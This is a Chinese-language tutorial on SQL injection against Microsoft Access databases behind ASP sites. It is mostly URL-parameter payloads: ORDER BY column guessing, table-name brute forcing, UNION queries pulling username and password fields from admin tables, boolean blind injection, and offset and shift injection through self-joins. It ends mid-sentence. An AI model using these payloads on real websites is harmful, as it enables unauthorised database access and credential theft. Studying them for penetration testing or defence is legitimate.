Access SQL注入
0x00 Access简介
-
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
-
Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。2012年12月4日,最新的微软Office Access 2013在微软Office 2013里发布,微软Office Access 2010 是前一个版本。
-
MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库
-
sqlite access 单文件类型数据库 无数据库概念 直接表里面存数据(没有information_schema库)
-
asp一般用mssql或access数据库
0x01 常见注入类型
union联合查询注入
- 先判断使用库类型
and exists(select * from sysobjects) //sysobjects库在mssql中存在
and exists(select * from msysobjects) //msysobjects库在access中存在
- 猜字段数
?id=1 order by 8
-
- 猜解表名
- 表名可能会有前缀,需要根据具体去猜解,不存在默认表
- 可以准备一个字典进行爆破sqlmap中自带data/txt/common-tables.txt
?id=1 and 1<(select count(*) from tb_name)
access数据库,联合查询要求前后数据格式保持一致,数量一致,后面的select必须跟from
?id=1 union select 1,2,3,4,5,6,7,8 from tb_name
- 猜字段
and exists(select count(id) from user) //标记id爆破列名
- 取数据用top限制不存在limit
?id=1 union select top 1 id,2,username,4,5,6,password,8 from tb_name where id not in (select top 1 id from tb_name)
bool盲注
- 拿到表名和字段名后
?id=1 and select( top 1 asc(mid(username,1,1)) from user)>70
?id=1 and select(top 1 asc(mid(username,1,1)) from user where username not in (select top 1 username from user))
- 要求前面表比后面表列数多或者一致
Access 没有报错注入
偏移注入
注入原理
-
借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示
-
access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名
利用条件
-
知道表名
-
任意字段(一般access会有一个id字段。)
- 影响偏移注入成功率的因素
1. 管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)
2. 当前注入点的脚本内查询的表内的字段数越多越好(最好有几十个,这样基本成功率是100%)
3. 已知的字段数越多越好(id一般存在)
注入过程
先判断列数 已知管理表列22
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from user
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,*from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
说明存在22-16=6列
解释:
-
union //联合查询语法,定义连后面的语句一起执行
-
select //查询
-
1,2,3,4,5,6,7,8,9,10, //这里理解为剩下的字段数就可以
-
from //从哪里开始
-
(admin as a inner join admin as b on a.id=b.id) //这里是admin表自连接,admin为表名(前面得到的表名) id为字段(可修改,但必须存在)
【偏移注入的基本公式】:字段数=order by 出的字段数-*号的字段数x2
因为这里一共是22个字段,而*号代表的admin表字段占6个,6x2=12 22-12=10
这就是为什么字段数是10的原因
一级偏移语句
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
二级偏移语句
union select 1,2,3,4,[a.id](http://a.id),[b.id](http://b.id),[c.id](http://c.id),* from ((admin as a inner join admin as b on [a.id](http://a.id) = [b.id](http://b.id))inner join admin as c on [a.id=c.id](http://a.id=c.id))
这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4
移位注入
- 注入过程 先判断列数
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,admin.* from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,admin.* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,admin.*from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,admin.* from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin.* from admin
说明存在22-16=6列
//union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,admin.* from admin
//9 11 13为显示位 admin.*代表6列
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,admin.*,15,16,17 from admin
//将admin.*依此往前移位得到想要注入的如果